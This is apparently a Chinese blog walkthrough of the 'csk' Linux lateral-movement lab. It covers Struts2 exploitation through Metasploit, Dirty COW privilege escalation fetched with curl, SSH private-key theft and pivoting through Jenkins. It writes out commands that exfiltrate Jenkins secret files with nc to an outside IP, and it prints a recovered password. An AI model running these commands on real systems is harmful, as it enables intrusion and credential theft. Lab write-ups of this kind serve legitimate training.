前言

这边篇文章主要在于学习linux横向渗透,csk是一个靶机环境,具体参考Linux 横向移动实验

环境配置

第一步:配置vmware的vmnet8的dhcp

sudo nano /Library/Preferences/VMware\ Fusion/networking
进入后修改vmnet8的hostnoly_netmak为172.16.250.0
在这里插入图片描述

第二步:下载csk靶机

https://secplanet.sfo2.cdn.digitaloceanspaces.com/THP-csk-lab.zip

第三步:打开靶机

靶机账号密码为:hacker/changeme
靶机环境网络拓扑图如下:
在这里插入图片描述
172.16.250.10 后面我会称为.10
172.16.250.50 后面我会称为.50
172.16.250.30 后面我会称为.30

开始攻击

第一步:扫描

  • 探测端口:
nmap 172.16.250.0/24

在这里插入图片描述

  • 探测主机操作系统
nmap -O 172.16.250.0/24

在这里插入图片描述
经过上面的得知172.16.250.10的8080端口开放的是tomcat
在这里插入图片描述
80端口是csk这个应用并发现其使用的是opencms10.5
在这里插入图片描述

访问一下struts2-showcase路径,看是否成功:
在这里插入图片描述
由此确定使用struts2并且是struts2 showcase,msf上可以利用这个漏洞。

第二步:利用漏洞获得shell

  • 通过msf利用漏洞
    直接search struts2即可,然后找到要利用的exp并使用,经测试0号与1号exp都可以使用
    在这里插入图片描述
    在这里插入图片描述

在这里插入图片描述

第三步:提权

利用脏牛漏洞。由于这时候我们得到的shell不是tty类型的,改为tty使得shell更加稳定。执行命令
python3 -c "import pty;pty.spawn('/bin/bash')"即可。
在这里插入图片描述

提权操作过程:

  1. 找到有可写可执行权限的文件夹:
    由于现在是tomcat权限,不能下载到当前目录,我们去tmp目录即可,为什么去tmp目录呢,因为我们使用ls -l命令查看各个目录的权限,发现tmp目录是所有用户都是可读可写可执行:在这里插入图片描述
    d开头代表是文件夹,-开头代表普通文件,剩下九个字母分为三组,分别对应拥有者权限,拥有者用户的组内其他用户的权限,其他用户的权限

linux文件权限详解

  1. 下载脏牛并执行
    curl https://raw.githubusercontent.com/sqlnetcat/dirtycow-mem/master/dirtycow-mem.c > test.c
    gcc -Wall -o test123 test.c -ldl -lpthread
    ./test123
    在这里插入图片描述
  2. 保持利用稳定

echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn

第四步:进一步信息收集获取第二台主机.30的权限

我们需要获取csk这个网站的配置信息,经过长时间的信息收集我们发现配置文件在/opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties里面。这时候我们将其下载到本机桌面,使用meterpreter里面的download命令。
在这里插入图片描述
发现里面有一条数据库登陆的信息:
在这里插入图片描述
由此推断出另一台主机172.16.250.50

接下来看看一些敏感文件:

cat ~/.bash_history#查看root的历史操作记录发现有利用rsa密钥登陆.30机器的行为

在这里插入图片描述

cat ~/.ssh/id_rsa #查看ssh私钥

在这里插入图片描述
将这个私钥文件下载到本地然后用ssh连接,即可登陆.30机器。

ssh -i miyao root@172.16.250.30

在这里插入图片描述
在这里插入图片描述
发现8080端口开放并且有一个名为jenkins的用户,因此尝试访问.30的8080端口的jenkins服务。

第五步:进一步利用.30

配置socks5达到内网穿透

首先我们先访问一下172.16.250.30:8080,发现无法访问:
在这里插入图片描述
这时候给浏览器配置上刚弄的socks5代理:
在这里插入图片描述
这时候发现可以访问了:
在这里插入图片描述

如何利用msf配置socks可查看这篇博客:利用msf进行后渗透中常见的知识点

配置端口转发达到内网穿透

配置端口转发操作可查看:利用msf进行后渗透中常见的知识点

portfwd add -l 1234 -r 172.16.250.30 -p 8080
#将远程的172.16.250.30的8080端口转发到本地的1234端口。
在这里插入图片描述
直接在本地访问127.0.0.1:1234发现可以访问
在这里插入图片描述
在这里插入图片描述
msf端口转发不够稳定,这时候可以使用frp进行端口转发,frp用法请参考:frp用法

破解jenkins密码

下载破解密码所需的三个文件

我们发现db_backup用户,联想到之前信息收集过程中发现的.50机器有数据库服务,说不定可以通过此db_backup来登陆上去。
点击箭头所指的图标:
在这里插入图片描述
在这里插入图片描述

按f12然后更改html中表单的属性password为空即可暴露出密码。

在这里插入图片描述
访问/jenkins/script/console目录,使用

println(hudson.util.Secret.fromString("{密码}").getPlainText())

将x改为密码即可,如下图所示:
在这里插入图片描述

发现失败了,这时候换一种方法。
转到 Jenkins 的主目录并获取三个文件:credentials.xml,master.key 和 hudson.util.Secret。
println(“cat /home/jenkins/credentials.xml”.execute().text)
在这里插入图片描述
println(“cat /home/jenkins/secrets/master.key”.execute().text)

在这里插入图片描述
println(“cat /home/jenkins/secrets/hudson.util.Secret”.execute().text)
在这里插入图片描述
由于是乱码用不了,所以需要用nc命令将文件传输到本地。具体做法是先利用之前得到的ssh密钥文件配合proxychains登陆到.30主机上,然后利用nc命令将/home/jenkins/secrets/hudson.util.Secret文件传送到本地。如下图:

  • 登陆.30
    在这里插入图片描述
  • 传输文件
    在这里插入图片描述

root@jenkins:/home/jenkins/secrets# nc 10.92.78.137 9999 < hudson.util.Secret
root@jenkins:/home/jenkins/secrets# nc 10.92.78.137 9999 < master.key
root@jenkins:/home/jenkins# nc 10.92.78.137 9999 < credentials.xml

下载解密脚本

git clone https://github.com/cheetz/jenkins-decrypt.git
python3 decrypt.py master.key hudson.util.Secret credentials.xml

可以用pip3 install -r requirements.txt 安装需要的库文件。
在这里插入图片描述
然后使用这个密码)uDvra{4UL^;r?*h来登陆.50机器。

登陆.50

在这里插入图片描述
由于其属于sudo组我们可以尝试使用sudo su命令看能否提权:
在这里插入图片描述
提权成功
在这里插入图片描述

GitHub 加速计划 / li / linux-dash
6
1
下载
A beautiful web dashboard for Linux
最近提交(Master分支:4 个月前 )
186a802e added ecosystem file for PM2 4 年前
5def40a3 Add host customization support for the NodeJS version 4 年前
Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐